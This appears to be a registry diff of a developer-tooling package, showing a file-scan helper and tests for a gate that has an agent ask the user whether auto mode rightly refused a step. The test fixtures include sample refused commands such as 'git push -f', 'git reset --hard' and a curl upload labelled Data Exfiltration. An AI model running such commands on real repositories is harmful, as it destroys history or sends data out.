claude-dev-env 8.120.0 → 8.122.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/bin/ever-registered-hooks.mjs +2 -0
- package/docs/rule-guides/question-presentation.md +4 -0
- package/hooks/advisory/auto_mode_denial_quick_fix.py +275 -27
- package/hooks/advisory/auto_mode_rule_flow_eval/auto_mode_rule_flow_cases.json +3475 -0
- package/hooks/advisory/auto_mode_rule_flow_eval/auto_mode_rule_flow_runner.py +849 -0
- package/hooks/advisory/auto_mode_rule_flow_eval/stub_allow_hook.py +20 -0
- package/hooks/advisory/auto_mode_rule_flow_eval/stub_hold_hook.py +54 -0
- package/hooks/advisory/auto_mode_rule_flow_eval/test_auto_mode_rule_flow_runner.py +143 -0
- package/hooks/advisory/test_auto_mode_denial_quick_fix.py +533 -9
- package/hooks/auto_mode_question_transcript.py +215 -0
- package/hooks/auto_mode_refusal_ledger.py +481 -0
- package/hooks/auto_mode_refusal_ledger_files.py +336 -0
- package/hooks/auto_mode_rule_steps.py +177 -0
- package/hooks/blocking/auto_mode_refusal_stop_gate.py +384 -0
- package/hooks/blocking/sent_file_question_detector.py +340 -0
- package/hooks/blocking/sent_file_question_gate.py +307 -0
- package/hooks/blocking/sent_file_scan.py +209 -0
- package/hooks/blocking/test_auto_mode_refusal_stop_gate.py +484 -0
- package/hooks/blocking/test_sent_file_question_detector.py +68 -0
- package/hooks/blocking/test_sent_file_question_gate.py +688 -0
- package/hooks/blocking/test_sent_file_scan.py +71 -0
- package/hooks/blocking/test_user_step_wording.py +46 -0
- package/hooks/blocking/user_step_wording.py +113 -15
- package/hooks/features/README.md +1 -1
- package/hooks/features/conduct-gates.md +3 -0
- package/hooks/features/session-context.md +5 -2
- package/hooks/hooks.json +15 -0
- package/hooks/hooks_constants/auto_mode_denial_quick_fix_constants.py +51 -3
- package/hooks/hooks_constants/auto_mode_refusal_ledger_constants.py +85 -0
- package/hooks/hooks_constants/auto_mode_refusal_stop_gate_constants.py +80 -0
- package/hooks/hooks_constants/auto_mode_rule_flow_runner_constants.py +225 -0
- package/hooks/hooks_constants/auto_mode_rule_steps_constants.py +82 -0
- package/hooks/hooks_constants/sent_file_question_gate_constants.py +261 -0
- package/hooks/hooks_constants/user_step_wording_constants.py +4 -0
- package/hooks/test_auto_mode_question_transcript.py +113 -0
- package/hooks/test_auto_mode_refusal_ledger.py +398 -0
- package/hooks/test_auto_mode_refusal_ledger_files.py +155 -0
- package/hooks/test_auto_mode_rule_steps.py +210 -0
- package/package.json +1 -1
- package/scripts/policy_lint/adapter_configuration.py +10 -0
- package/scripts/policy_lint/config/constants.py +2 -0
- package/scripts/tests/test_adapter_configuration.py +16 -0
|
@@ -0,0 +1,209 @@
|
|
|
1
|
+
"""Read the text of a file a session sends to the user, for the sent file question gate.
|
|
2
|
+
|
|
3
|
+
A small file is read whole. A large file is read through its first and last
|
|
4
|
+
128 KB, so a question at either end is still found and the read stays
|
|
5
|
+
fast::
|
|
6
|
+
|
|
7
|
+
a 3 KB notes.md -> its whole text
|
|
8
|
+
a 2 MB report.md -> its first 128 KB, a blank line, its last 128 KB
|
|
9
|
+
a .md file holding binary data -> None
|
|
10
|
+
|
|
11
|
+
``plain_page_text`` turns an HTML page into its shown text in one pass over
|
|
12
|
+
its tags, with no parser, for the gate's second read.
|
|
13
|
+
"""
|
|
14
|
+
|
|
15
|
+
from __future__ import annotations
|
|
16
|
+
|
|
17
|
+
import codecs
|
|
18
|
+
import html
|
|
19
|
+
import os
|
|
20
|
+
import sys
|
|
21
|
+
from pathlib import Path
|
|
22
|
+
|
|
23
|
+
hooks_root_directory = str(Path(__file__).resolve().parent.parent)
|
|
24
|
+
if hooks_root_directory not in sys.path:
|
|
25
|
+
sys.path.insert(0, hooks_root_directory)
|
|
26
|
+
blocking_directory = str(Path(__file__).resolve().parent)
|
|
27
|
+
if blocking_directory not in sys.path:
|
|
28
|
+
sys.path.insert(0, blocking_directory)
|
|
29
|
+
|
|
30
|
+
from hooks_constants.sent_file_question_gate_constants import (
|
|
31
|
+
BINARY_READ_MODE,
|
|
32
|
+
BLOCK_BREAK,
|
|
33
|
+
CLOSING_TAG_MARK,
|
|
34
|
+
LINE_BREAK,
|
|
35
|
+
PLAIN_HEADING_BREAK,
|
|
36
|
+
SPACE,
|
|
37
|
+
SPACE_RUN_PATTERN,
|
|
38
|
+
TAG_CLOSE,
|
|
39
|
+
TAG_OPEN,
|
|
40
|
+
TASK_BOX_MARK,
|
|
41
|
+
FILE_PART_BYTES,
|
|
42
|
+
FILE_PARTS_SEPARATOR,
|
|
43
|
+
MAXIMUM_UTF8_CONTINUATION_BYTES,
|
|
44
|
+
MAXIMUM_WHOLE_FILE_BYTES,
|
|
45
|
+
NUL_BYTE,
|
|
46
|
+
UTF8_CONTINUATION_BYTES,
|
|
47
|
+
UTF8_ENCODING,
|
|
48
|
+
)
|
|
49
|
+
from hooks_constants.user_step_wording_constants import (
|
|
50
|
+
ALL_HTML_HEADING_TAGS,
|
|
51
|
+
ALL_HTML_HIDDEN_TAGS,
|
|
52
|
+
ALL_HTML_INLINE_TAGS,
|
|
53
|
+
HTML_CHECKBOX_INPUT_TYPE,
|
|
54
|
+
HTML_INPUT_TAG,
|
|
55
|
+
HTML_LINE_BREAK_TAG,
|
|
56
|
+
)
|
|
57
|
+
from user_step_wording import sent_file_location
|
|
58
|
+
|
|
59
|
+
|
|
60
|
+
def _decoded_part(part_bytes: bytes, is_cut_at_end: bool) -> str:
|
|
61
|
+
decoder = codecs.getincrementaldecoder(UTF8_ENCODING)()
|
|
62
|
+
return decoder.decode(part_bytes, final=not is_cut_at_end)
|
|
63
|
+
|
|
64
|
+
|
|
65
|
+
def _tail_without_split_character(tail_bytes: bytes) -> bytes:
|
|
66
|
+
cut_length = 0
|
|
67
|
+
while (
|
|
68
|
+
cut_length < MAXIMUM_UTF8_CONTINUATION_BYTES
|
|
69
|
+
and cut_length < len(tail_bytes)
|
|
70
|
+
and tail_bytes[cut_length] in UTF8_CONTINUATION_BYTES
|
|
71
|
+
):
|
|
72
|
+
cut_length += 1
|
|
73
|
+
return tail_bytes[cut_length:]
|
|
74
|
+
|
|
75
|
+
|
|
76
|
+
def _head_and_tail_bytes(file_path: Path) -> tuple[bytes, bytes]:
|
|
77
|
+
with file_path.open(BINARY_READ_MODE) as sent_file:
|
|
78
|
+
head_bytes = sent_file.read(MAXIMUM_WHOLE_FILE_BYTES + 1)
|
|
79
|
+
if len(head_bytes) <= MAXIMUM_WHOLE_FILE_BYTES:
|
|
80
|
+
return head_bytes, b""
|
|
81
|
+
sent_file.seek(-FILE_PART_BYTES, os.SEEK_END)
|
|
82
|
+
return head_bytes[:FILE_PART_BYTES], _tail_without_split_character(
|
|
83
|
+
sent_file.read(FILE_PART_BYTES)
|
|
84
|
+
)
|
|
85
|
+
|
|
86
|
+
|
|
87
|
+
def sent_file_scan_text(file_path_text: str, working_directory: object) -> str | None:
|
|
88
|
+
"""Return the text the gate reads from a sent file, or None when it reads none.
|
|
89
|
+
|
|
90
|
+
::
|
|
91
|
+
|
|
92
|
+
a 3 KB notes.md -> its whole text
|
|
93
|
+
a 2 MB report.md -> its first 128 KB, a blank line, its last 128 KB
|
|
94
|
+
a .md file holding binary data -> None
|
|
95
|
+
shot.png, a folder, a lost path -> None
|
|
96
|
+
|
|
97
|
+
A file that holds a NUL byte or is not valid UTF-8 gives None, so the
|
|
98
|
+
gate never quotes garbled bytes.
|
|
99
|
+
|
|
100
|
+
Args:
|
|
101
|
+
file_path_text: The path the tool call names.
|
|
102
|
+
working_directory: The session's ``cwd`` from the hook payload.
|
|
103
|
+
|
|
104
|
+
Returns:
|
|
105
|
+
The decoded text, or None.
|
|
106
|
+
"""
|
|
107
|
+
file_path = sent_file_location(file_path_text, working_directory)
|
|
108
|
+
if file_path is None:
|
|
109
|
+
return None
|
|
110
|
+
try:
|
|
111
|
+
head_bytes, tail_bytes = _head_and_tail_bytes(file_path)
|
|
112
|
+
except (OSError, ValueError):
|
|
113
|
+
return None
|
|
114
|
+
if NUL_BYTE in head_bytes or NUL_BYTE in tail_bytes:
|
|
115
|
+
return None
|
|
116
|
+
try:
|
|
117
|
+
head_text = _decoded_part(head_bytes, is_cut_at_end=bool(tail_bytes))
|
|
118
|
+
tail_text = _decoded_part(tail_bytes, is_cut_at_end=False)
|
|
119
|
+
except UnicodeDecodeError:
|
|
120
|
+
return None
|
|
121
|
+
return head_text + FILE_PARTS_SEPARATOR + tail_text if tail_text else head_text
|
|
122
|
+
|
|
123
|
+
|
|
124
|
+
def sent_file_is_partly_read(file_path_text: str, working_directory: object) -> bool:
|
|
125
|
+
"""Return True when ``sent_file_scan_text`` reads only the start and end of the file.
|
|
126
|
+
|
|
127
|
+
::
|
|
128
|
+
|
|
129
|
+
a 3 KB notes.md -> False
|
|
130
|
+
a 2 MB report.md -> True
|
|
131
|
+
shot.png, lost path -> False
|
|
132
|
+
|
|
133
|
+
Args:
|
|
134
|
+
file_path_text: The path the tool call names.
|
|
135
|
+
working_directory: The session's ``cwd`` from the hook payload.
|
|
136
|
+
|
|
137
|
+
Returns:
|
|
138
|
+
True for a sent text file over 256 KB.
|
|
139
|
+
"""
|
|
140
|
+
file_path = sent_file_location(file_path_text, working_directory)
|
|
141
|
+
if file_path is None:
|
|
142
|
+
return False
|
|
143
|
+
try:
|
|
144
|
+
return file_path.stat().st_size > MAXIMUM_WHOLE_FILE_BYTES
|
|
145
|
+
except OSError:
|
|
146
|
+
return False
|
|
147
|
+
|
|
148
|
+
|
|
149
|
+
def _tag_name(tag_body: str) -> str:
|
|
150
|
+
all_name_words = tag_body.lstrip(CLOSING_TAG_MARK).split(None, 1)
|
|
151
|
+
return all_name_words[0].rstrip(CLOSING_TAG_MARK).lower() if all_name_words else ""
|
|
152
|
+
|
|
153
|
+
|
|
154
|
+
def _after_tag(tag_body: str, hidden_tag_name: str) -> tuple[str, str]:
|
|
155
|
+
is_closing = tag_body.startswith(CLOSING_TAG_MARK)
|
|
156
|
+
tag_name = _tag_name(tag_body)
|
|
157
|
+
if hidden_tag_name:
|
|
158
|
+
return ("" if is_closing and tag_name == hidden_tag_name else hidden_tag_name), ""
|
|
159
|
+
if not is_closing and tag_name in ALL_HTML_HIDDEN_TAGS:
|
|
160
|
+
return tag_name, ""
|
|
161
|
+
if tag_name in ALL_HTML_HEADING_TAGS and not is_closing:
|
|
162
|
+
return "", PLAIN_HEADING_BREAK
|
|
163
|
+
if tag_name == HTML_INPUT_TAG and HTML_CHECKBOX_INPUT_TYPE in tag_body.lower():
|
|
164
|
+
return "", BLOCK_BREAK + TASK_BOX_MARK
|
|
165
|
+
if tag_name == HTML_LINE_BREAK_TAG:
|
|
166
|
+
return "", LINE_BREAK
|
|
167
|
+
if tag_name in ALL_HTML_INLINE_TAGS:
|
|
168
|
+
return "", ""
|
|
169
|
+
return "", BLOCK_BREAK
|
|
170
|
+
|
|
171
|
+
|
|
172
|
+
def plain_page_text(page_markup: str) -> str:
|
|
173
|
+
"""Return the shown text of an HTML page through one pass over its tags, with no parser.
|
|
174
|
+
|
|
175
|
+
::
|
|
176
|
+
|
|
177
|
+
<h2>Plan</h2><p>Should I merge it?</p> -> "\\n\\n# Plan\\n\\n\\n\\nShould I merge it?\\n\\n"
|
|
178
|
+
<script>var x = 'Should I?'</script> -> ""
|
|
179
|
+
<script <script <script ... -> "" (an unclosed tag ends the text)
|
|
180
|
+
|
|
181
|
+
The gate falls back to this read when the HTML parser does not finish in
|
|
182
|
+
time. Each character is visited once. A heading or ``summary`` starts a
|
|
183
|
+
"# " line, another block tag starts a paragraph, and the contents of
|
|
184
|
+
script, style, code, pre, blockquote, and the other hidden tags are left
|
|
185
|
+
out. Character references are decoded.
|
|
186
|
+
|
|
187
|
+
Args:
|
|
188
|
+
page_markup: The HTML page source.
|
|
189
|
+
|
|
190
|
+
Returns:
|
|
191
|
+
The shown text as Markdown-like paragraphs.
|
|
192
|
+
"""
|
|
193
|
+
all_parts: list[str] = []
|
|
194
|
+
hidden_tag_name = ""
|
|
195
|
+
position = 0
|
|
196
|
+
while position < len(page_markup):
|
|
197
|
+
tag_start = page_markup.find(TAG_OPEN, position)
|
|
198
|
+
text_end = len(page_markup) if tag_start == -1 else tag_start
|
|
199
|
+
if not hidden_tag_name:
|
|
200
|
+
all_parts.append(SPACE_RUN_PATTERN.sub(SPACE, page_markup[position:text_end]))
|
|
201
|
+
tag_end = -1 if tag_start == -1 else page_markup.find(TAG_CLOSE, tag_start)
|
|
202
|
+
if tag_end == -1:
|
|
203
|
+
break
|
|
204
|
+
hidden_tag_name, tag_break = _after_tag(
|
|
205
|
+
page_markup[tag_start + 1 : tag_end].strip(), hidden_tag_name
|
|
206
|
+
)
|
|
207
|
+
all_parts.append(tag_break)
|
|
208
|
+
position = tag_end + 1
|
|
209
|
+
return html.unescape("".join(all_parts))
|
|
@@ -0,0 +1,484 @@
|
|
|
1
|
+
"""Behavior tests for the auto mode refusal Stop gate."""
|
|
2
|
+
|
|
3
|
+
from __future__ import annotations
|
|
4
|
+
|
|
5
|
+
import io
|
|
6
|
+
import json
|
|
7
|
+
import os
|
|
8
|
+
import subprocess
|
|
9
|
+
import sys
|
|
10
|
+
from pathlib import Path
|
|
11
|
+
|
|
12
|
+
import pytest
|
|
13
|
+
|
|
14
|
+
import auto_mode_refusal_ledger as ledger
|
|
15
|
+
import auto_mode_refusal_stop_gate as stop_gate
|
|
16
|
+
from advisory.auto_mode_denial_quick_fix import action_summary_from
|
|
17
|
+
from blocking.question_brief_gate import count_list_items
|
|
18
|
+
from hooks_constants.ask_user_question_shape import count_prose_words
|
|
19
|
+
from hooks_constants.auto_mode_denial_quick_fix_constants import (
|
|
20
|
+
MAXIMUM_ACTION_SUMMARY_CHARACTERS,
|
|
21
|
+
)
|
|
22
|
+
from hooks_constants.question_brief_gate_constants import (
|
|
23
|
+
MAXIMUM_BRIEF_LIST_ITEM_COUNT,
|
|
24
|
+
MAXIMUM_BRIEF_WORD_COUNT,
|
|
25
|
+
)
|
|
26
|
+
|
|
27
|
+
GIT_QUESTION = "Auto mode refused 1 Bash step under the Git Destructive rule. Should auto mode have refused it?"
|
|
28
|
+
|
|
29
|
+
|
|
30
|
+
@pytest.fixture(autouse=True)
|
|
31
|
+
def scratch_flow(tmp_path: Path, monkeypatch: pytest.MonkeyPatch) -> Path:
|
|
32
|
+
config_directory = tmp_path / "config"
|
|
33
|
+
config_directory.mkdir()
|
|
34
|
+
playbook_path = tmp_path / "agent-channels" / "docs" / "auto-mode-rule.md"
|
|
35
|
+
playbook_path.parent.mkdir(parents=True)
|
|
36
|
+
playbook_path.write_text("# Playbook\n", encoding="utf-8")
|
|
37
|
+
(tmp_path / "transcript.jsonl").write_text("", encoding="utf-8")
|
|
38
|
+
monkeypatch.setenv("CLAUDE_CONFIG_DIR", str(config_directory))
|
|
39
|
+
monkeypatch.setenv("HOME", str(tmp_path))
|
|
40
|
+
monkeypatch.setenv("CLAUDE_AUTO_MODE_RULE_PLAYBOOK", str(playbook_path))
|
|
41
|
+
monkeypatch.delenv("CLAUDE_CODE_ENTRYPOINT", raising=False)
|
|
42
|
+
return tmp_path
|
|
43
|
+
|
|
44
|
+
|
|
45
|
+
def _refuse(tmp_path: Path, command: str, rule_label: str = "Git Destructive") -> Path:
|
|
46
|
+
tool_input = {"command": command}
|
|
47
|
+
ledger_directory = ledger.ledger_directory_for("s1")
|
|
48
|
+
entry_id = ledger.entry_id_for("Bash", tool_input)
|
|
49
|
+
ledger.add_entry(
|
|
50
|
+
ledger_directory,
|
|
51
|
+
{
|
|
52
|
+
"id": entry_id,
|
|
53
|
+
"tool_name": "Bash",
|
|
54
|
+
"tool_input": tool_input,
|
|
55
|
+
"rule_label": rule_label,
|
|
56
|
+
"action_summary": command,
|
|
57
|
+
},
|
|
58
|
+
)
|
|
59
|
+
ledger.write_question_records(
|
|
60
|
+
ledger_directory,
|
|
61
|
+
ledger.question_groups(ledger.load_entries(ledger_directory)),
|
|
62
|
+
tmp_path / "transcript.jsonl",
|
|
63
|
+
)
|
|
64
|
+
return ledger_directory / f"{entry_id}.json"
|
|
65
|
+
|
|
66
|
+
|
|
67
|
+
def _append_call(
|
|
68
|
+
tmp_path: Path,
|
|
69
|
+
tool_name: str,
|
|
70
|
+
tool_input: object,
|
|
71
|
+
tool_use_result: object = "ok",
|
|
72
|
+
is_error: bool = False,
|
|
73
|
+
) -> None:
|
|
74
|
+
tool_use_id = f"toolu_{len((tmp_path / 'transcript.jsonl').read_text(encoding='utf-8'))}"
|
|
75
|
+
result_block: dict[str, object] = {"type": "tool_result", "tool_use_id": tool_use_id}
|
|
76
|
+
if is_error:
|
|
77
|
+
result_block["is_error"] = True
|
|
78
|
+
all_records = [
|
|
79
|
+
{
|
|
80
|
+
"type": "assistant",
|
|
81
|
+
"message": {
|
|
82
|
+
"content": [
|
|
83
|
+
{"type": "tool_use", "id": tool_use_id, "name": tool_name, "input": tool_input}
|
|
84
|
+
]
|
|
85
|
+
},
|
|
86
|
+
},
|
|
87
|
+
{"type": "user", "toolUseResult": tool_use_result, "message": {"content": [result_block]}},
|
|
88
|
+
]
|
|
89
|
+
with (tmp_path / "transcript.jsonl").open("a", encoding="utf-8") as transcript_file:
|
|
90
|
+
for each_record in all_records:
|
|
91
|
+
transcript_file.write(json.dumps(each_record) + "\n")
|
|
92
|
+
|
|
93
|
+
|
|
94
|
+
def _answer(tmp_path: Path, question: str, answer: str) -> None:
|
|
95
|
+
_append_call(
|
|
96
|
+
tmp_path,
|
|
97
|
+
"AskUserQuestion",
|
|
98
|
+
{"questions": [{"question": question, "header": "Auto mode"}]},
|
|
99
|
+
{"questions": [{"question": question}], "answers": {question: answer}},
|
|
100
|
+
)
|
|
101
|
+
|
|
102
|
+
|
|
103
|
+
def _stop_payload(tmp_path: Path) -> dict[str, object]:
|
|
104
|
+
return {
|
|
105
|
+
"session_id": "s1",
|
|
106
|
+
"transcript_path": str(tmp_path / "transcript.jsonl"),
|
|
107
|
+
"hook_event_name": "Stop",
|
|
108
|
+
"stop_hook_active": False,
|
|
109
|
+
}
|
|
110
|
+
|
|
111
|
+
|
|
112
|
+
def _hold_reason(tmp_path: Path) -> str | None:
|
|
113
|
+
return stop_gate.hold_reason_for_stop(_stop_payload(tmp_path))
|
|
114
|
+
|
|
115
|
+
|
|
116
|
+
def test_should_hold_with_the_question_labels_card_form_playbook_and_ledger_file(
|
|
117
|
+
tmp_path: Path,
|
|
118
|
+
) -> None:
|
|
119
|
+
ledger_path = _refuse(tmp_path, "git push -f")
|
|
120
|
+
reason_text = _hold_reason(tmp_path)
|
|
121
|
+
assert reason_text is not None
|
|
122
|
+
for each_needle in (
|
|
123
|
+
GIT_QUESTION,
|
|
124
|
+
"`Auto mode`",
|
|
125
|
+
"`Keep refusing`",
|
|
126
|
+
"`Allow it`",
|
|
127
|
+
"`Should auto mode have refused this <tool> step?`",
|
|
128
|
+
"- git push -f",
|
|
129
|
+
str(ledger_path),
|
|
130
|
+
os.environ["CLAUDE_AUTO_MODE_RULE_PLAYBOOK"],
|
|
131
|
+
):
|
|
132
|
+
assert each_needle in reason_text
|
|
133
|
+
|
|
134
|
+
|
|
135
|
+
def test_should_give_ask_user_question_one_question_and_tie_the_card_question_to_card_tools(
|
|
136
|
+
tmp_path: Path,
|
|
137
|
+
) -> None:
|
|
138
|
+
_refuse(tmp_path, "git push -f")
|
|
139
|
+
reason_text = _hold_reason(tmp_path)
|
|
140
|
+
assert reason_text is not None
|
|
141
|
+
question_block = reason_text.split("\n\nQuestion: ", 1)[1].split("\nSteps:", 1)[0]
|
|
142
|
+
assert question_block == GIT_QUESTION
|
|
143
|
+
all_card_lines = [
|
|
144
|
+
each_line
|
|
145
|
+
for each_line in reason_text.splitlines()
|
|
146
|
+
if "Should auto mode have refused this" in each_line
|
|
147
|
+
]
|
|
148
|
+
assert len(all_card_lines) == 1
|
|
149
|
+
assert "`mcp__hearthbot__ask_decision`" in all_card_lines[0]
|
|
150
|
+
assert "AskUserQuestion takes only the Question line" in all_card_lines[0]
|
|
151
|
+
|
|
152
|
+
|
|
153
|
+
def test_should_hold_each_pending_entry_for_its_question_twice_at_most(tmp_path: Path) -> None:
|
|
154
|
+
_refuse(tmp_path, "git push -f")
|
|
155
|
+
assert _hold_reason(tmp_path) is not None
|
|
156
|
+
assert _hold_reason(tmp_path) is not None
|
|
157
|
+
assert _hold_reason(tmp_path) is None
|
|
158
|
+
assert [each.answer for each in ledger.load_entries(ledger.ledger_directory_for("s1"))] == [
|
|
159
|
+
None
|
|
160
|
+
]
|
|
161
|
+
|
|
162
|
+
|
|
163
|
+
def test_should_list_four_groups_at_most_and_hold_the_fifth_on_a_later_stop(
|
|
164
|
+
tmp_path: Path,
|
|
165
|
+
) -> None:
|
|
166
|
+
all_labels = ["Git", "Data", "Destroy", "Oversight", "Security"]
|
|
167
|
+
for each_label in all_labels:
|
|
168
|
+
_refuse(tmp_path, f"step {each_label}", rule_label=each_label)
|
|
169
|
+
first_reason = _hold_reason(tmp_path)
|
|
170
|
+
assert first_reason is not None
|
|
171
|
+
assert [each for each in all_labels if f"under the {each} rule" in first_reason] == all_labels[
|
|
172
|
+
:4
|
|
173
|
+
]
|
|
174
|
+
for each_label in all_labels[:4]:
|
|
175
|
+
_answer(tmp_path, ledger.question_text_for("Bash", each_label, 1), "Keep refusing")
|
|
176
|
+
second_reason = _hold_reason(tmp_path)
|
|
177
|
+
assert second_reason is not None and "under the Security rule" in second_reason
|
|
178
|
+
|
|
179
|
+
|
|
180
|
+
@pytest.mark.parametrize("answer", ["Let me look first", "Allow it (recommended)", "Allow it"])
|
|
181
|
+
def test_should_end_the_turn_once_the_exact_question_was_asked_whatever_the_answer(
|
|
182
|
+
tmp_path: Path, answer: str
|
|
183
|
+
) -> None:
|
|
184
|
+
_refuse(tmp_path, "git push -f")
|
|
185
|
+
assert _hold_reason(tmp_path) is not None
|
|
186
|
+
_answer(tmp_path, GIT_QUESTION, answer)
|
|
187
|
+
assert _hold_reason(tmp_path) is None
|
|
188
|
+
assert [each.answer for each in ledger.load_entries(ledger.ledger_directory_for("s1"))] == [
|
|
189
|
+
None
|
|
190
|
+
]
|
|
191
|
+
|
|
192
|
+
|
|
193
|
+
def test_should_hold_again_when_the_agent_reworded_the_question(tmp_path: Path) -> None:
|
|
194
|
+
_refuse(tmp_path, "git push -f")
|
|
195
|
+
_answer(tmp_path, "Should auto mode have refused the push?", "Allow it")
|
|
196
|
+
reason_text = _hold_reason(tmp_path)
|
|
197
|
+
assert reason_text is not None and GIT_QUESTION in reason_text
|
|
198
|
+
|
|
199
|
+
|
|
200
|
+
def test_should_end_the_turn_after_a_decision_card_in_the_card_form(tmp_path: Path) -> None:
|
|
201
|
+
_refuse(tmp_path, "git push -f")
|
|
202
|
+
_append_call(
|
|
203
|
+
tmp_path,
|
|
204
|
+
"mcp__hearthbot__ask_decision",
|
|
205
|
+
{"question": "Should auto mode have refused this Bash step?"},
|
|
206
|
+
"Decision card sent.",
|
|
207
|
+
)
|
|
208
|
+
assert _hold_reason(tmp_path) is None
|
|
209
|
+
|
|
210
|
+
|
|
211
|
+
@pytest.mark.parametrize(
|
|
212
|
+
("card_question", "is_error"),
|
|
213
|
+
[
|
|
214
|
+
("Should auto mode have refused this WebFetch step?", False),
|
|
215
|
+
("Should auto mode have refused this Bash step?", True),
|
|
216
|
+
],
|
|
217
|
+
)
|
|
218
|
+
def test_should_hold_after_a_card_for_another_tool_or_a_card_that_failed(
|
|
219
|
+
tmp_path: Path, card_question: str, is_error: bool
|
|
220
|
+
) -> None:
|
|
221
|
+
_refuse(tmp_path, "git push -f")
|
|
222
|
+
_append_call(
|
|
223
|
+
tmp_path, "mcp__hearthbot__request_decision", {"question": card_question}, "x", is_error
|
|
224
|
+
)
|
|
225
|
+
reason_text = _hold_reason(tmp_path)
|
|
226
|
+
assert reason_text is not None and GIT_QUESTION in reason_text
|
|
227
|
+
|
|
228
|
+
|
|
229
|
+
def test_should_keep_an_asked_entry_asked_after_its_question_record_is_rewritten(
|
|
230
|
+
tmp_path: Path,
|
|
231
|
+
) -> None:
|
|
232
|
+
_refuse(tmp_path, "git push -f")
|
|
233
|
+
_answer(tmp_path, GIT_QUESTION, "Let me look first")
|
|
234
|
+
assert _hold_reason(tmp_path) is None
|
|
235
|
+
_refuse(tmp_path, "git reset --hard")
|
|
236
|
+
first_reason = _hold_reason(tmp_path)
|
|
237
|
+
assert first_reason is not None
|
|
238
|
+
assert "- git reset --hard" in first_reason and "- git push -f" not in first_reason
|
|
239
|
+
assert _hold_reason(tmp_path) is not None
|
|
240
|
+
assert _hold_reason(tmp_path) is None
|
|
241
|
+
|
|
242
|
+
|
|
243
|
+
def test_should_hold_an_allowed_entry_for_its_rule_until_the_add_call_names_it(
|
|
244
|
+
tmp_path: Path,
|
|
245
|
+
) -> None:
|
|
246
|
+
first_path = _refuse(tmp_path, "git push -f")
|
|
247
|
+
second_path = _refuse(tmp_path, "curl -d @repo.txt x", rule_label="Data Exfiltration")
|
|
248
|
+
_answer(tmp_path, GIT_QUESTION, "Allow it")
|
|
249
|
+
_answer(
|
|
250
|
+
tmp_path,
|
|
251
|
+
"Auto mode refused 1 Bash step under the Data Exfiltration rule. Should auto mode have refused it?",
|
|
252
|
+
"Allow it",
|
|
253
|
+
)
|
|
254
|
+
first_reason = _hold_reason(tmp_path)
|
|
255
|
+
assert first_reason is not None
|
|
256
|
+
assert str(first_path) in first_reason and str(second_path) in first_reason
|
|
257
|
+
assert os.environ["CLAUDE_AUTO_MODE_RULE_PLAYBOOK"] in first_reason
|
|
258
|
+
_append_call(
|
|
259
|
+
tmp_path,
|
|
260
|
+
"Bash",
|
|
261
|
+
{"command": f"python3 setup/add_auto_mode_rule.py add --ledger {first_path}"},
|
|
262
|
+
)
|
|
263
|
+
second_reason = _hold_reason(tmp_path)
|
|
264
|
+
assert second_reason is not None
|
|
265
|
+
assert str(second_path) in second_reason and str(first_path) not in second_reason
|
|
266
|
+
assert _hold_reason(tmp_path) is None
|
|
267
|
+
|
|
268
|
+
|
|
269
|
+
def test_should_not_count_an_add_call_that_failed(tmp_path: Path) -> None:
|
|
270
|
+
ledger_path = _refuse(tmp_path, "git push -f")
|
|
271
|
+
_answer(tmp_path, GIT_QUESTION, "Allow it")
|
|
272
|
+
_append_call(
|
|
273
|
+
tmp_path,
|
|
274
|
+
"Bash",
|
|
275
|
+
{"command": f"python3 setup/add_auto_mode_rule.py add --ledger {ledger_path}"},
|
|
276
|
+
is_error=True,
|
|
277
|
+
)
|
|
278
|
+
reason_text = _hold_reason(tmp_path)
|
|
279
|
+
assert reason_text is not None and str(ledger_path) in reason_text
|
|
280
|
+
|
|
281
|
+
|
|
282
|
+
def test_should_end_the_turn_after_a_kept_answer(tmp_path: Path) -> None:
|
|
283
|
+
_refuse(tmp_path, "git push -f")
|
|
284
|
+
_answer(tmp_path, GIT_QUESTION, "Keep refusing")
|
|
285
|
+
assert _hold_reason(tmp_path) is None
|
|
286
|
+
assert [each.answer for each in ledger.load_entries(ledger.ledger_directory_for("s1"))] == [
|
|
287
|
+
"kept"
|
|
288
|
+
]
|
|
289
|
+
|
|
290
|
+
|
|
291
|
+
def test_should_let_the_turn_end_with_no_entry_with_the_flow_off_or_in_print_mode(
|
|
292
|
+
tmp_path: Path, monkeypatch: pytest.MonkeyPatch
|
|
293
|
+
) -> None:
|
|
294
|
+
assert _hold_reason(tmp_path) is None
|
|
295
|
+
_refuse(tmp_path, "git push -f")
|
|
296
|
+
monkeypatch.setenv("CLAUDE_CODE_ENTRYPOINT", "sdk-cli")
|
|
297
|
+
assert _hold_reason(tmp_path) is None
|
|
298
|
+
monkeypatch.delenv("CLAUDE_CODE_ENTRYPOINT")
|
|
299
|
+
monkeypatch.delenv("CLAUDE_AUTO_MODE_RULE_PLAYBOOK")
|
|
300
|
+
assert _hold_reason(tmp_path) is None
|
|
301
|
+
|
|
302
|
+
|
|
303
|
+
def test_should_hold_with_exit_two_and_a_block_object_and_skip_a_bad_ledger_file(
|
|
304
|
+
tmp_path: Path, monkeypatch: pytest.MonkeyPatch, capsys: pytest.CaptureFixture[str]
|
|
305
|
+
) -> None:
|
|
306
|
+
_refuse(tmp_path, "git push -f")
|
|
307
|
+
(ledger.ledger_directory_for("s1") / "no-id.json").write_text(
|
|
308
|
+
json.dumps({"answer": None, "tool_name": "Bash", "rule_label": "Git Destructive"}),
|
|
309
|
+
encoding="utf-8",
|
|
310
|
+
)
|
|
311
|
+
monkeypatch.setattr(sys, "stdin", io.StringIO(json.dumps(_stop_payload(tmp_path))))
|
|
312
|
+
assert stop_gate.main() == 2
|
|
313
|
+
captured = capsys.readouterr()
|
|
314
|
+
stop_output = json.loads(captured.out)
|
|
315
|
+
assert stop_output["decision"] == "block"
|
|
316
|
+
assert GIT_QUESTION in stop_output["reason"]
|
|
317
|
+
assert GIT_QUESTION in captured.err
|
|
318
|
+
|
|
319
|
+
|
|
320
|
+
def test_should_exit_zero_when_the_reader_closes_stdout_before_the_hold(
|
|
321
|
+
tmp_path: Path,
|
|
322
|
+
) -> None:
|
|
323
|
+
_refuse(tmp_path, "git push -f")
|
|
324
|
+
gate_run = subprocess.Popen(
|
|
325
|
+
[sys.executable, "-B", stop_gate.__file__],
|
|
326
|
+
stdin=subprocess.PIPE,
|
|
327
|
+
stdout=subprocess.PIPE,
|
|
328
|
+
stderr=subprocess.PIPE,
|
|
329
|
+
env={
|
|
330
|
+
"PATH": os.defpath,
|
|
331
|
+
"HOME": str(tmp_path),
|
|
332
|
+
